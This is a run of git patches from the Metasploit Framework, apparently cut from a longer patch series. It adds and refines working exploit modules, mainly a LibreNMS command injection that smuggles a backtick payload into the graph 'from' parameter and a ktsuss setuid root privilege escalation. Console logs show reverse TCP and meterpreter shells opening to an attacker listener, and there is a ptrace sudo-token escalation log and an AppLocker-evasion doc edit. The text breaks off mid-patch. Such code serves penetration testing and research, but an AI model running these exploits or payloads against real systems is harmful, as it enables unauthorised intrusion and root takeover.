uid=0, gid=0, euid=0, egid=0 + meterpreter > sysinfo + Computer : centos-7-1708.localdomain + OS : CentOS 7.4.1708 (Linux 3.10.0-693.el7.x86_64) + Architecture : x64 + BuildTuple : x86_64-linux-musl + Meterpreter : x64/linux + meterpreter > + ``` + +### Debian 9.8 (x64) + + ``` + msf5 > use exploit/linux/local/ptrace_sudo_token_priv_esc + msf5 exploit(linux/local/ptrace_sudo_token_priv_esc) > set session 1 + session => 1 + msf5 exploit(linux/local/ptrace_sudo_token_priv_esc) > set payload linux/x64/meterpreter/reverse_tcp + payload => linux/x64/meterpreter/reverse_tcp + msf5 exploit(linux/local/ptrace_sudo_token_priv_esc) > set lhost 172.16.191.165 + lhost => 172.16.191.165 + msf5 exploit(linux/local/ptrace_sudo_token_priv_esc) > set verbose true + verbose => true + msf5 exploit(linux/local/ptrace_sudo_token_priv_esc) > run + + [*] Started reverse TCP handler on 172.16.191.165:4444 + [+] YAMA ptrace scope is not restrictive + [+] sudo is installed + [+] gdb is installed + [*] Searching for shell processes ... + [*] Found 5 running shell processes + [*] 661, 891, 23499, 23518, 23541 + [*] Writing '/tmp/.Dpq90j6vOk' (329 bytes) ... + [*] Injecting into process 661 ... + [*] Injecting into process 891 ... + [*] Injecting into process 23499 ... + [*] Injecting into process 23518 ... + [+] /tmp/.Dpq90j6vOk setuid root successfully + [*] Executing payload... + [*] Transmitting intermediate stager...(126 bytes) + [*] Sending stage (3021284 bytes) to 172.16.191.232 + + [*] Meterpreter session 2 opened (172.16.191.165:4444 -> 172.16.191.232:50744) at 2019-08-10 02:54:34 -0400 + [-] Failed to delete /tmp/.Dpq90j6vOk: stdapi_fs_delete_file: Operation failed: 1 + + meterpreter > getuid + Server username: uid=0, gid=0, euid=0, egid=0 + meterpreter > sysinfo + Computer : debian-9-8-x64.local + OS : Debian 9.8 (Linux 4.9.0-8-amd64) + Architecture : x64 + BuildTuple : x86_64-linux-musl + Meterpreter : x64/linux + meterpreter > + ``` + From a5bbd7d1f5fa68ec164742f7f4845b9f6fadbba7 Mon Sep 17 00:00:00 2001 From: NickTyrer Date: Sat, 10 Aug 2019 09:03:04 +0100 Subject: [PATCH 053/217] update documentation --- .../modules/evasion/windows/applocker_evasion_regasm_regsvcs.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/documentation/modules/evasion/windows/applocker_evasion_regasm_regsvcs.md b/documentation/modules/evasion/windows/applocker_evasion_regasm_regsvcs.md index 00cf03a8eb..6449b7abe3 100644 --- a/documentation/modules/evasion/windows/applocker_evasion_regasm_regsvcs.md +++ b/documentation/modules/evasion/windows/applocker_evasion_regasm_regsvcs.md @@ -3,7 +3,7 @@ This module is designed to evade solutions such as software restriction policies and Applocker. Applocker in its default configuration will block code in the form of executables (.exe and .com, .msi), scripts (.ps1, .vbs, .js) and dll's from running in user controlled directories. Applocker enforces this by employing whitelisting, in that code can only be run from the protected directories and sub directories of "Program Files" and "Windows" -The main vector for this bypass is to use the trusted binaries RegAsm.exe or RegSvcs.exe to execute user supplied code as this binary is located within the trusted Windows directory. +The main vector for this bypass is to use the trusted binaries RegAsm.exe or RegSvcs.exe to execute user supplied code as these binaries are located within the trusted Windows directory. ## Vulnerable Application From 71f4eadd181246966c536cc0d05a2cfdcd0fd353 Mon Sep 17 00:00:00 2001 From: Shelby Pace Date: Mon, 12 Aug 2019 15:22:22 -0500 Subject: [PATCH 054/217] module rework and some documentation --- .../http/librenms_collectd_cmd_inject.md | 44 ++++++++ ...ect.rb => librenms_collectd_cmd_inject.rb} | 106 ++++++++++++++---- 2 files changed, 131 insertions(+), 19 deletions(-) create mode 100644 documentation/modules/exploit/linux/http/librenms_collectd_cmd_inject.md rename modules/exploits/linux/http/{librenms_connectd_cmd_inject.rb => librenms_collectd_cmd_inject.rb} (54%) diff --git a/documentation/modules/exploit/linux/http/librenms_collectd_cmd_inject.md b/documentation/modules/exploit/linux/http/librenms_collectd_cmd_inject.md new file mode 100644 index 0000000000..3f55926ea9 --- /dev/null +++ b/documentation/modules/exploit/linux/http/librenms_collectd_cmd_inject.md @@ -0,0 +1,44 @@ +## Description + + A command injection vulnerability exists in LibreNMS versions prior to `v1.50.1`. + + The injection vulnerability affects the Collectd graphing functionality. Specifically, the `to` and + `from` parameters used in the range for graphing are sanitized with the `mysqli_escape_real_string()` + which ignores certain characters, including backticks. These improperly sanitized parameters are then + used in a shell command that gets executed via the `passthru()` function. + +## Vulnerable Application + + A vulnerable version of LibreNMS (v1.50) in the form of an OVA can be downloaded [here](https://github.com/librenms/packer-builds/releases/tag/1.50). + + Login credentials can be found on the official LibreNMS [site](https://docs.librenms.org/Installation/Images/). + +## Verification Steps + + Example steps in this format (is also in the PR): + + 1. Install the application + 2. Start msfconsole + 3. Do: ```use [module path]``` + 4. Do: ```run``` + 5. You should get a shell. + +## Scenarios + +### Version of software and OS as applicable + + Specific demo of using the module that might be useful in a real world scenario. + + ``` + code or console output + ``` + + For example: + + To do this specific thing, here's how you do it: + + ``` + msf > use module_name + msf auxiliary(module_name) > set POWERLEVEL >9000 + msf auxiliary(module_name) > exploit + ``` diff --git a/modules/exploits/linux/http/librenms_connectd_cmd_inject.rb b/modules/exploits/linux/http/librenms_collectd_cmd_inject.rb similarity index 54% rename from modules/exploits/linux/http/librenms_connectd_cmd_inject.rb rename to modules/exploits/linux/http/librenms_collectd_cmd_inject.rb index 74f5e18238..cf6e084273 100644 --- a/modules/exploits/linux/http/librenms_connectd_cmd_inject.rb +++ b/modules/exploits/linux/http/librenms_collectd_cmd_inject.rb @@ -12,6 +12,14 @@ class MetasploitModule < Msf::Exploit::Remote super(update_info(info, 'Name' => 'LibreNMS Collectd Command Injection', 'Description' => %q( + This module exploits a command injection vulnerability in the + Collectd graphing functionality in LibreNMS. + + The `to` and `from` parameters used to define the range for + a graph are sanitized using the `mysqli_escape_real_string()` + function, which permits backticks. These parameters are used + as part of a shell command that gets executed via the `passthru()` + function, which can result in code execution. ), 'License' => MSF_LICENSE, 'Author' => @@ -96,8 +104,31 @@ class MetasploitModule < Msf::Exploit::Remote login_res.get_cookies end - def get_device_id - dev_uri = normalize_uri(target_uri.path, 'ajax_table.php') + def get_version + uri = normalize_uri(target_uri.path, 'about') + + res = send_request_cgi( 'method' => 'GET', 'uri' => uri, 'cookie' => @cookies ) + fail_with(Failure::NotFound, 'Failed to reach the about LibreNMS page') unless res && res.code == 200 + + html = res.get_html_document + version = html.search('tr//td//a') + fail_with(Failure::NotFound, 'Failed to retrieve version information') if version.empty? + version.each do |e| + return $1 if e.text =~ /(\d+\.\d+\.?\d*)/ + end + end + + def get_device_ids + version = get_version + print_status("LibreNMS version: #{version}") + + if version && Gem::Version.new(version) < Gem::Version.new('1.50') + dev_uri = normalize_uri(target_uri.path, 'ajax_table.php') + format = '+list_detail' + else + dev_uri = normalize_uri(target_uri.path, 'ajax', 'table', 'device') + format = 'list_detail' + end dev_res = send_request_cgi( 'method' => 'POST', @@ -106,7 +137,7 @@ class MetasploitModule < Msf::Exploit::Remote 'vars_post' => { 'id' => 'devices', - 'format' => '+list_detail', + 'format' => format, 'current' => '1', 'sort[hostname]' => 'asc', 'rowCount' => 50 @@ -121,38 +152,75 @@ class MetasploitModule < Msf::Exploit::Remote json = json['rows'] fail_with(Failure::NotFound, 'Unable to find hostname data') if json.empty? - json = json.first.nil? ? nil : json.first['hostname'] - fail_with(Failure::NotFound, 'Unable to find hostname data') if json.nil? + hosts = [] + json.each do |row| + hostname = row['hostname'] + next if hostname.nil? - dev_id = json.match('href=\"device\/device=(\d+)\/') - fail_with(Failure::NotFound, 'Failed to retrieve device id') unless dev_id && dev_id.length > 1 + id = hostname.match('href=\"device\/device=(\d+)\/') + next unless id && id.length > 1 + hosts << id[1] + end - dev_id[1] + fail_with(Failure::NotFound, 'Failed to retrieve any device ids') if hosts.empty? + + hosts + end + + def get_plugin_info(id) + uri = normalize_uri(target_uri.path, "device", "device=#{id}", "tab=collectd") + + res = send_request_cgi( 'method' => 'GET', 'uri' => uri, 'cookie' => @cookies ) + return unless res && res.code == 200 + + html = res.get_html_document + plugin_link = html.at('div[@class="col-md-3"]//a/@href') + return if plugin_link.nil? + + plugin_link = plugin_link.value + plugin_hash = Hash[plugin_link.split('/').map { |plugin_val| plugin_val.split('=') }] + c_plugin = plugin_hash['c_plugin'] + c_type = plugin_hash['c_type'] + c_type_instance = plugin_hash['c_type_instance'] || '' + c_plugin_instance = plugin_hash['c_plugin_instance'] || '' + + return c_plugin, c_type, c_plugin_instance, c_type_instance end def exploit req_uri = normalize_uri(target_uri.path, 'graph.php') @cookies = login - dev_id = get_device_id - vprint_status("Device id #{dev_id} retrieved") + dev_ids = get_device_ids + + collectd_device = -1 + plugin_name = nil + plugin_type = nil + plugin_instance = nil + plugin_type_inst = nil + dev_ids.each do |device| + collectd_device = device + plugin_name, plugin_type, plugin_instance, plugin_type_inst = get_plugin_info(device) + break if (plugin_name && plugin_type && plugin_instance && plugin_type_inst) + collectd_device = -1 + end + + fail_with(Failure::NotFound, 'Failed to find a collectd plugin for any of the devices') if collectd_device == -1 + print_status("Sending payload via device #{collectd_device}") - print_status('Sending malicious request') res = send_request_cgi( 'method' => 'GET', 'uri' => req_uri, 'cookie' => @cookies, 'vars_get' => { - 'device' => dev_id, - 'type' => 'device_collectd', - 'to' => '1563375000', - 'from' => "1`#{payload.encoded}`", - 'c_plugin' => 'test', - 'c_type' => 'cpu', - 'c_type_instance' => 'collectd', + 'device' => collectd_device, + 'type' => 'device_collectd', + 'to' => '1563375000', + 'from' => "1`#{payload.encoded}`", + 'c_plugin' => plugin_name, + 'c_type' => plugin_type, } ) - end end From da98d3d3763c4a352819b6c74ec2078c08b9be52 Mon Sep 17 00:00:00 2001 From: Shelby Pace Date: Tue, 13 Aug 2019 09:47:24 -0500 Subject: [PATCH 055/217] finish documentation and module --- .../http/librenms_collectd_cmd_inject.md | 118 +++++++++++++++--- .../http/librenms_collectd_cmd_inject.rb | 14 ++- 2 files changed, 109 insertions(+), 23 deletions(-) diff --git a/documentation/modules/exploit/linux/http/librenms_collectd_cmd_inject.md b/documentation/modules/exploit/linux/http/librenms_collectd_cmd_inject.md index 3f55926ea9..31336893f7 100644 --- a/documentation/modules/exploit/linux/http/librenms_collectd_cmd_inject.md +++ b/documentation/modules/exploit/linux/http/librenms_collectd_cmd_inject.md @@ -7,38 +7,122 @@ which ignores certain characters, including backticks. These improperly sanitized parameters are then used in a shell command that gets executed via the `passthru()` function. + This module has been tested on LibreNMS `v1.46` and `v.1.50`. + ## Vulnerable Application A vulnerable version of LibreNMS (v1.50) in the form of an OVA can be downloaded [here](https://github.com/librenms/packer-builds/releases/tag/1.50). Login credentials can be found on the official LibreNMS [site](https://docs.librenms.org/Installation/Images/). -## Verification Steps + Collectd will need to be set up with LibreNMS for this exploit to work. These instructions + are for the Ubuntu OVA. + + ```sudo apt-get install collectd``` - Example steps in this format (is also in the PR): + Open the Collectd config file `/etc/collectd/collectd.conf` + and uncomment the global options for the `Hostname` and `BaseDir`. + Next, uncomment the lines for the cpu plugin. + The plugin should look similar to this: + + ``` + + ReportByCpu true + ReportByState true + ValuesPercentage false + + ``` + + Next, find the `rrdtool` plugin and ensure it looks like this: + + ``` + + DataDir "/var/lib/collectd/rrd" + CacheTimeout 120 + CacheFlush 900 + + ``` + + Save and exit + + Now open `/etc/collectd/collectd.conf.d/rrdtool.conf` and add + + ``` + LoadPlugin rrdtool + + DataDir "/var/lib/collectd/rrd" + CacheTimeout 120 + CacheFlush 900 + + ``` + + Save and exit, then restart the Collectd service: + + ```sudo systemctl restart collectd``` + + Lastly, add these two lines to the LibreNMS config file, + `/opt/librenms/config.php`: + + ``` + $config['collectd_dir'] = '/var/lib/collectd/rrd'; + $config['collectd_sock'] = 'unix:///var/run/collectd.sock'; + ``` + + Now save and exit. + + You can verify that Collectd is set up with LibreNMS by viewing the + `localhost` device in LibreNMS and noting that there should be a Collectd + tab on the device's main page. + +## Verification Steps 1. Install the application 2. Start msfconsole - 3. Do: ```use [module path]``` - 4. Do: ```run``` - 5. You should get a shell. + 3. Do: ```use exploit/linux/http/librenms_collectd_cmd_inject``` + 4. Do: ```set RHOSTS ``` + 5. Do: ```set USERNAME ``` + 6. Do: ```set PASSWORD ``` + 7. Do: ```run``` + 8. You should get a shell. ## Scenarios -### Version of software and OS as applicable - - Specific demo of using the module that might be useful in a real world scenario. +### Tested on LibreNMS `v1.46` ``` - code or console output - ``` + msf5 > use exploit/linux/http/librenms_collectd_cmd_inject + msf5 exploit(linux/http/librenms_collectd_cmd_inject) > set rhosts 192.168.37.133 + rhosts => 192.168.37.133 + msf5 exploit(linux/http/librenms_collectd_cmd_inject) > set username blah + username => blah + msf5 exploit(linux/http/librenms_collectd_cmd_inject) > set password password + password => password + msf5 exploit(linux/http/librenms_collectd_cmd_inject) > set payload cmd/unix/reverse + payload => cmd/unix/reverse + msf5 exploit(linux/http/librenms_collectd_cmd_inject) > set lhost 192.168.37.1 + lhost => 192.168.37.1 + msf5 exploit(linux/http/librenms_collectd_cmd_inject) > check + [*] 192.168.37.133:80 - The target service is running, but could not be validated. + msf5 exploit(linux/http/librenms_collectd_cmd_inject) > run - For example: - - To do this specific thing, here's how you do it: + [*] Started reverse TCP double handler on 192.168.37.1:4444 + [*] Successfully logged into LibreNMS. Storing credentials... + [*] LibreNMS version: 1.46 + [*] Sending payload via device 122 + [*] Accepted the first client connection... + [*] Accepted the second client connection... + [*] Command: echo 67Fk9T3DyODcIsbL; + [*] Writing to socket A + [*] Writing to socket B + [*] Reading from sockets... + [*] Reading from socket A + [*] A: "Trying: not found\r\nsh: 2: Connected: not found\r\nsh: 3: Escape: not found\r\n67Fk9T3DyODcIsbL\r\n" + [*] Matching... + [*] B is input... + [*] Command shell session 3 opened (192.168.37.1:4444 -> 192.168.37.133:50462) at 2019-08-12 15:43:16 -0500 - ``` - msf > use module_name - msf auxiliary(module_name) > set POWERLEVEL >9000 - msf auxiliary(module_name) > exploit + whoami + www-data + uname -a + Linux ubuntu 4.18.0-15-generic #16~18.04.1-Ubuntu SMP Thu Feb 7 14:06:04 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux ``` diff --git a/modules/exploits/linux/http/librenms_collectd_cmd_inject.rb b/modules/exploits/linux/http/librenms_collectd_cmd_inject.rb index cf6e084273..4dff92e5f5 100644 --- a/modules/exploits/linux/http/librenms_collectd_cmd_inject.rb +++ b/modules/exploits/linux/http/librenms_collectd_cmd_inject.rb @@ -214,12 +214,14 @@ class MetasploitModule < Msf::Exploit::Remote 'cookie' => @cookies, 'vars_get' => { - 'device' => collectd_device, - 'type' => 'device_collectd', - 'to' => '1563375000', - 'from' => "1`#{payload.encoded}`", - 'c_plugin' => plugin_name, - 'c_type' => plugin_type, + 'device' => collectd_device, + 'type' => 'device_collectd', + 'to' => '1563375000', + 'from' => "1`#{payload.encoded}`", + 'c_plugin' => plugin_name, + 'c_type' => plugin_type, + 'c_plugin_instance' => plugin_instance, + 'c_type_instance' => plugin_type_inst } ) end From 48333c5d4e5d2bf68dae7efaa3f84523d0b769d9 Mon Sep 17 00:00:00 2001 From: Shelby Pace Date: Tue, 13 Aug 2019 11:14:10 -0500 Subject: [PATCH 056/217] randomize parameter value --- modules/exploits/linux/http/librenms_collectd_cmd_inject.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/linux/http/librenms_collectd_cmd_inject.rb b/modules/exploits/linux/http/librenms_collectd_cmd_inject.rb index 4dff92e5f5..8779adf395 100644 --- a/modules/exploits/linux/http/librenms_collectd_cmd_inject.rb +++ b/modules/exploits/linux/http/librenms_collectd_cmd_inject.rb @@ -216,7 +216,7 @@ class MetasploitModule < Msf::Exploit::Remote { 'device' => collectd_device, 'type' => 'device_collectd', - 'to' => '1563375000', + 'to' => Rex::Text.rand_text_numeric(10), 'from' => "1`#{payload.encoded}`", 'c_plugin' => plugin_name, 'c_type' => plugin_type, From 286263c0946765ad9ee3363ac1fd53f7a7cdef69 Mon Sep 17 00:00:00 2001 From: Shelby Pace Date: Tue, 13 Aug 2019 11:18:31 -0500 Subject: [PATCH 057/217] add quotes, platform --- modules/exploits/linux/http/librenms_collectd_cmd_inject.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/modules/exploits/linux/http/librenms_collectd_cmd_inject.rb b/modules/exploits/linux/http/librenms_collectd_cmd_inject.rb index 8779adf395..697a20d27e 100644 --- a/modules/exploits/linux/http/librenms_collectd_cmd_inject.rb +++ b/modules/exploits/linux/http/librenms_collectd_cmd_inject.rb @@ -32,6 +32,7 @@ class MetasploitModule < Msf::Exploit::Remote [ 'CVE', '2019-10669' ], [ 'URL', 'https://www.darkmatter.ae/xen1thlabs/librenms-command-injection-vulnerability-xl-19-017/' ] ], + 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Targets' => [ @@ -42,7 +43,7 @@ class MetasploitModule < Msf::Exploit::Remote } ] ], - 'DisclosureDate' => "2019-07-15", + 'DisclosureDate' => '2019-07-15', 'DefaultTarget' => 0 )) From 70d5bd4eb388c367e57a490ce590c9776f2d7bbf Mon Sep 17 00:00:00 2001 From: Shelby Pace Date: Tue, 13 Aug 2019 13:39:15 -0500 Subject: [PATCH 058/217] add default payload, check login --- modules/exploits/linux/http/librenms_collectd_cmd_inject.rb | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/modules/exploits/linux/http/librenms_collectd_cmd_inject.rb b/modules/exploits/linux/http/librenms_collectd_cmd_inject.rb index 697a20d27e..76985be979 100644 --- a/modules/exploits/linux/http/librenms_collectd_cmd_inject.rb +++ b/modules/exploits/linux/http/librenms_collectd_cmd_inject.rb @@ -38,8 +38,9 @@ class MetasploitModule < Msf::Exploit::Remote [ [ 'Linux', { - 'Platform' => 'unix', - 'Arch' => ARCH_CMD + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'DefaultOptions' => { 'Payload' => 'cmd/unix/reverse' } } ] ], @@ -99,6 +100,7 @@ class MetasploitModule < Msf::Exploit::Remote 'uri' => normalize_uri(target_uri.path), 'cookie' => cookies ) + fail_with(Failure::NoAccess, 'Failed to log into LibreNMS') unless res && res.code == 200 && res.body.include?('Devices') print_status('Successfully logged into LibreNMS. Storing credentials...') store_valid_credential(user: datastore['USERNAME'], private: datastore['PASSWORD']) From ca82e6cd2566eca3a7b9d27776532b77b6292ee8 Mon Sep 17 00:00:00 2001 From: Brendan Coles Date: Mon, 19 Aug 2019 13:28:02 +0000 Subject: [PATCH 059/217] Add ktsuss suid Privilege Escalation module --- .../linux/local/ktsuss_suid_priv_esc.rb | 142 ++++++++++++++++++ 1 file changed, 142 insertions(+) create mode 100644 modules/exploits/linux/local/ktsuss_suid_priv_esc.rb diff --git a/modules/exploits/linux/local/ktsuss_suid_priv_esc.rb b/modules/exploits/linux/local/ktsuss_suid_priv_esc.rb new file mode 100644 index 0000000000..e13581d08d --- /dev/null +++ b/modules/exploits/linux/local/ktsuss_suid_priv_esc.rb @@ -0,0 +1,142 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Local + Rank = ExcellentRanking + + include Msf::Post::File + include Msf::Post::Linux::Priv + include Msf::Post::Linux::System + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'ktsuss suid Privilege Escalation', + 'Description' => %q{ + This module attempts to gain root privileges by exploiting + a vulnerability in ktsuss versions 1.4 and prior. + + The `ktsuss` executable is setuid `root` and does not drop + privileges prior to executing user specified commands, + resulting in command execution with `root` privileges. + + This module has been tested successfully on: + + ktsuss 1.3 on SparkyLinux 6 (2019.08) (LXQT) (x64); and + ktsuss 1.3 on SparkyLinux 5.8 (LXQT) (x64). + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'John Lightsey', # Discovery and exploit + 'bcoles' # Metasploit + ], + 'DisclosureDate' => '2011-08-13', + 'References' => + [ + ['CVE', '2011-2921'], + ['URL', 'https://www.openwall.com/lists/oss-security/2011/08/13/2'], + ['URL', 'https://security.gentoo.org/glsa/201201-15'], + ['URL', 'https://github.com/bcoles/local-exploits/blob/master/CVE-2011-2921/ktsuss-lpe.sh'] + ], + 'Platform' => ['linux'], + 'Arch' => + [ + ARCH_X86, + ARCH_X64, + ARCH_ARMLE, + ARCH_AARCH64, + ARCH_PPC, + ARCH_MIPSLE, + ARCH_MIPSBE + ], + 'SessionTypes' => ['shell', 'meterpreter'], + 'Targets' => [['Auto', {}]], + 'DefaultOptions' => + { + 'AppendExit' => true, + 'PrependSetresuid' => true, + 'PrependSetresgid' => true, + 'PrependSetreuid' => true, + 'PrependSetuid' => true, + 'PrependFork' => true + }, + 'DefaultTarget' => 0)) + register_options [ + OptString.new('KTSUSS_PATH', [true, 'Path to staprun executable', '/usr/bin/ktsuss']) + ] + register_advanced_options [ + OptBool.new('ForceExploit', [false, 'Override check result', false]), + OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp']) + ] + end + + def ktsuss_path + datastore['KTSUSS_PATH'] + end + + def base_dir + datastore['WritableDir'].to_s + end + + def upload(path, data) + print_status "Writing '#{path}' (#{data.size} bytes) ..." + rm_f path + write_file path, data + register_file_for_cleanup path + end + + def upload_and_chmodx(path, data) + upload path, data + chmod path + end + + def check + unless setuid? ktsuss_path + vprint_error "#{ktsuss_path} is not setuid" + return CheckCode::Safe + end + vprint_good "#{ktsuss_path} is setuid" + + id = cmd_exec 'whoami' + res = cmd_exec("#{ktsuss_path} -u #{id} id").to_s + vprint_status res + + unless res.include? 'uid=0' + return CheckCode::Safe + end + + CheckCode::Vulnerable + end + + def exploit + unless check == CheckCode::Vulnerable + unless datastore['ForceExploit'] + fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.' + end + print_warning 'Target does not appear to be vulnerable' + end + + if is_root? + unless datastore['ForceExploit'] + fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.' + end + end + + unless writable? base_dir + fail_with Failure::BadConfig, "#{base_dir} is not writable" + end + + payload_name = ".#{rand_text_alphanumeric 10..15}" + payload_path = "#{base_dir}/#{payload_name}" + upload_and_chmodx payload_path, generate_payload_exe + + print_status 'Executing payload ...' + id = cmd_exec 'whoami' + res = cmd_exec "#{ktsuss_path} -u #{id} #{payload_path} & echo " + vprint_line res + end +end From 9ce3365d56a07849e8880f2bcbf997dac718f07e Mon Sep 17 00:00:00 2001 From: Brendan Coles Date: Mon, 19 Aug 2019 13:34:52 +0000 Subject: [PATCH 060/217] Add documentation --- .../linux/local/ktsuss_suid_priv_esc.md | 124 ++++++++++++++++++ 1 file changed, 124 insertions(+) create mode 100644 documentation/modules/exploit/linux/local/ktsuss_suid_priv_esc.md diff --git a/documentation/modules/exploit/linux/local/ktsuss_suid_priv_esc.md b/documentation/modules/exploit/linux/local/ktsuss_suid_priv_esc.md new file mode 100644 index 0000000000..6fbda64963 --- /dev/null +++ b/documentation/modules/exploit/linux/local/ktsuss_suid_priv_esc.md @@ -0,0 +1,124 @@ +## Description + + This module attempts to gain root privileges by exploiting + a vulnerability in ktsuss versions 1.4 and prior. + + The `ktsuss` executable is setuid `root` and does not drop + privileges prior to executing user specified commands, + resulting in command execution with `root` privileges. + + This module has been tested successfully on: + + +## Vulnerable Application + + This module has been tested successfully on: + + * ktsuss 1.3 on SparkyLinux 6 (2019.08) (LXQT) (x64) + * ktsuss 1.3 on SparkyLinux 5.8 (LXQT) (x64) + + +## Verification Steps + + 1. Start `msfconsole` + 2. Get a session + 3. `use exploit/linux/local/ktsuss_suid_priv_esc` + 4. `set SESSION [SESSION]` + 5. `check` + 6. `run` + 7. You should get a new *root* session + + +## Options + + **KTSUSS_PATH** + + Path to `ktsuss` executable (default: `/usr/bin/ktsuss`) + + **WritableDir** + + A writable directory file system path. (default: `/tmp`) + + +## Scenarios + +### ktsuss 1.3 on SparkyLinux 5.8 (LXQT) (x64) + + ``` + msf5 > use exploit/linux/local/ktsuss_suid_priv_esc + msf5 exploit(linux/local/ktsuss_suid_priv_esc) > set session 1 + session => 1 + msf5 exploit(linux/local/ktsuss_suid_priv_esc) > set verbose true + verbose => true + msf5 exploit(linux/local/ktsuss_suid_priv_esc) > check + + [+] /usr/bin/ktsuss is setuid + [*] uid=1001(test) gid=1001(test) euid=0(root) groups=1001(test) + [+] The target is vulnerable. + msf5 exploit(linux/local/ktsuss_suid_priv_esc) > set payload linux/x64/meterpreter/reverse_tcp + payload => linux/x64/meterpreter/reverse_tcp + msf5 exploit(linux/local/ktsuss_suid_priv_esc) > set lhost 172.16.191.165 + lhost => 172.16.191.165 + msf5 exploit(linux/local/ktsuss_suid_priv_esc) > run + + [*] Started reverse TCP handler on 172.16.191.165:4444 + [+] /usr/bin/ktsuss is setuid + [*] uid=1001(test) gid=1001(test) euid=0(root) groups=1001(test) + [*] Writing '/tmp/.lBanpIYpAJ60cwt' (389 bytes) ... + [*] Executing payload ... + [*] Transmitting intermediate stager...(126 bytes) + [*] Sending stage (3021284 bytes) to 172.16.191.137 + + [*] Meterpreter session 2 opened (172.16.191.165:4444 -> 172.16.191.137:53060) at 2019-08-19 09:18:29 -0400 + + meterpreter > getuid + Server username: uid=0, gid=0, euid=0, egid=0 + meterpreter > sysinfo + Computer : 172.16.191.137 + OS : Sparky 5.8 (Linux 4.19.0-5-amd64) + Architecture : x64 + BuildTuple : x86_64-linux-musl + Meterpreter : x64/linux + meterpreter > + ``` + +### tsuss 1.3 on SparkyLinux 6 (2019.08) (LXQT) (x64) + + ``` + msf5 > use exploit/linux/local/ktsuss_suid_priv_esc + msf5 exploit(linux/local/ktsuss_suid_priv_esc) > set session 1 + session => 1 + msf5 exploit(linux/local/ktsuss_suid_priv_esc) > set verbose true + verbose => true + msf5 exploit(linux/local/ktsuss_suid_priv_esc) > check + + [+] /usr/bin/ktsuss is setuid + [*] uid=1001(test) gid=1002(test) euid=0(root) groups=1002(test) + [+] The target is vulnerable. + msf5 exploit(linux/local/ktsuss_suid_priv_esc) > set payload linux/x64/meterpreter/reverse_tcp + payload => linux/x64/meterpreter/reverse_tcp + msf5 exploit(linux/local/ktsuss_suid_priv_esc) > set lhost 172.16.191.165 + lhost => 172.16.191.165 + msf5 exploit(linux/local/ktsuss_suid_priv_esc) > run + + [*] Started reverse TCP handler on 172.16.191.165:4444 + [+] /usr/bin/ktsuss is setuid + [*] uid=1001(test) gid=1002(test) euid=0(root) groups=1002(test) + [*] Writing '/tmp/.R0aTPpB8aHk' (389 bytes) ... + [*] Executing payload ... + [*] Transmitting intermediate stager...(126 bytes) + [*] Sending stage (3021284 bytes) to 172.16.191.167 + + [*] Meterpreter session 2 opened (172.16.191.165:4444 -> 172.16.191.167:44534) at 2019-08-19 09:25:48 -0400 + + meterpreter > getuid + Server username: uid=0, gid=0, euid=0, egid=0 + meterpreter > sysinfo + Computer : 172.16.191.167 + OS : Sparky 6 (Linux 4.19.0-5-amd64) + Architecture : x64 + BuildTuple : x86_64-linux-musl + Meterpreter : x64/linux + meterpreter > + ``` + From 969ad7aa8acea4b7e42d294eaf780c506155ad0b Mon Sep 17 00:00:00 2001 From: Adam Cammack Date: Thu, 22 Aug 2019 11:12:00 -0500 Subject: [PATCH 061/217] Add Msf::Module::Alert for alerting users --- lib/msf/core/auxiliary.rb | 1 + lib/msf/core/evasion.rb | 1 + lib/msf/core/exploit.rb | 2 + lib/msf/core/module.rb | 13 +-- lib/msf/core/module/alert.rb | 219 +++++++++++++++++++++++++++++++++++ lib/msf/core/module/ui.rb | 8 +- lib/msf/core/post_mixin.rb | 2 + 7 files changed, 234 insertions(+), 12 deletions(-) create mode 100644 lib/msf/core/module/alert.rb diff --git a/lib/msf/core/auxiliary.rb b/lib/msf/core/auxiliary.rb index 2aea6da3b1..625bf4579a 100644 --- a/lib/msf/core/auxiliary.rb +++ b/lib/msf/core/auxiliary.rb @@ -119,6 +119,7 @@ class Auxiliary < Msf::Module # Called directly before 'run' # def setup + alert_user end # diff --git a/lib/msf/core/evasion.rb b/lib/msf/core/evasion.rb index e5555cc392..3a1b8de974 100644 --- a/lib/msf/core/evasion.rb +++ b/lib/msf/core/evasion.rb @@ -59,6 +59,7 @@ module Msf end def setup + alert_user end def file_format_filename diff --git a/lib/msf/core/exploit.rb b/lib/msf/core/exploit.rb index 2f54f4be53..d79c731b6d 100644 --- a/lib/msf/core/exploit.rb +++ b/lib/msf/core/exploit.rb @@ -424,6 +424,8 @@ class Exploit < Msf::Module # the payload handler. # def setup + alert_user + # Reset the session counts to zero. reset_session_counts diff --git a/lib/msf/core/module.rb b/lib/msf/core/module.rb index 71fbf82fc0..5609a5fe39 100644 --- a/lib/msf/core/module.rb +++ b/lib/msf/core/module.rb @@ -14,6 +14,7 @@ module Msf # ### class Module + autoload :Alert, 'msf/core/module/alert' autoload :Arch, 'msf/core/module/arch' autoload :Auth, 'msf/core/module/auth' autoload :Author, 'msf/core/module/author' @@ -43,6 +44,7 @@ class Module autoload :Stability, 'msf/core/module/stability' autoload :Reliability, 'msf/core/module/reliability' + include Msf::Module::Alert include Msf::Module::Arch include Msf::Module::Auth include Msf::Module::Author @@ -93,17 +95,6 @@ class Module self.class.framework end - # - # This method allows modules to tell the framework if they are usable - # on the system that they are being loaded on in a generic fashion. - # By default, all modules are indicated as being usable. An example of - # where this is useful is if the module depends on something external to - # ruby, such as a binary. - # - def self.is_usable - true - end - # # Creates an instance of an abstract module using the supplied information # hash. diff --git a/lib/msf/core/module/alert.rb b/lib/msf/core/module/alert.rb new file mode 100644 index 0000000000..72bf33e4e3 --- /dev/null +++ 